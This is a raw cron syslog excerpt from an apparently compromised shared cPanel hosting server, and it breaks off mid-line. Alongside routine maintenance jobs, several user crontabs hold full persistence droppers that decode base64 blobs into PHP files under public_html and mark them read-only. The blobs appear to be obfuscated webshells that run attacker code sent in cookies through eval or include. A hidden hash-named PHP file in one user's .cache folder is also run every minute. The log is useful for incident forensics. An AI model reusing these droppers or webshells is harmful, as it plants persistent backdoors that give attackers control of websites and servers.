Mar  1 22:09:01 medusa CROND[19171]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:09:01 medusa CROND[19168]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:09:01 medusa CROND[19176]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:09:01 medusa CROND[19167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:09:01 medusa CROND[19178]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:09:02 medusa CROND[19179]: (elevansrl) CMD (cd /home2/elevansrl/public_html/PCP && ./cli cronjob >/dev/null 2>&1)
Mar  1 22:09:02 medusa CROND[19180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:09:02 medusa CROND[19184]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:09:02 medusa CROND[19190]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:10:01 medusa CROND[5738]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:10:02 medusa CROND[6025]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:10:02 medusa CROND[6028]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:10:02 medusa CROND[6026]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:10:02 medusa CROND[6029]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:10:02 medusa CROND[6027]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:10:02 medusa CROND[6024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:10:02 medusa CROND[6032]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:10:02 medusa CROND[6034]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:10:02 medusa CROND[6033]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:10:02 medusa CROND[6038]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:10:02 medusa CROND[6035]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:10:02 medusa CROND[6036]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 22:10:02 medusa CROND[6039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:10:02 medusa CROND[6030]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:10:02 medusa CROND[6046]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:10:02 medusa CROND[6065]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:10:02 medusa CROND[6071]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:10:02 medusa CROND[6073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:10:02 medusa CROND[6070]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:10:02 medusa CROND[6068]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:10:02 medusa CROND[6063]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:10:02 medusa CROND[6069]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 22:10:02 medusa CROND[6072]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 22:10:02 medusa CROND[6081]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:10:02 medusa CROND[6066]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:10:02 medusa CROND[6076]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 22:10:02 medusa CROND[6074]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 22:11:01 medusa CROND[20889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:11:02 medusa CROND[21109]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:11:02 medusa CROND[21110]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:11:02 medusa CROND[21111]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:11:02 medusa CROND[21113]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:11:02 medusa CROND[21114]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:11:02 medusa CROND[21116]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:11:02 medusa CROND[21117]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:11:02 medusa CROND[21118]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 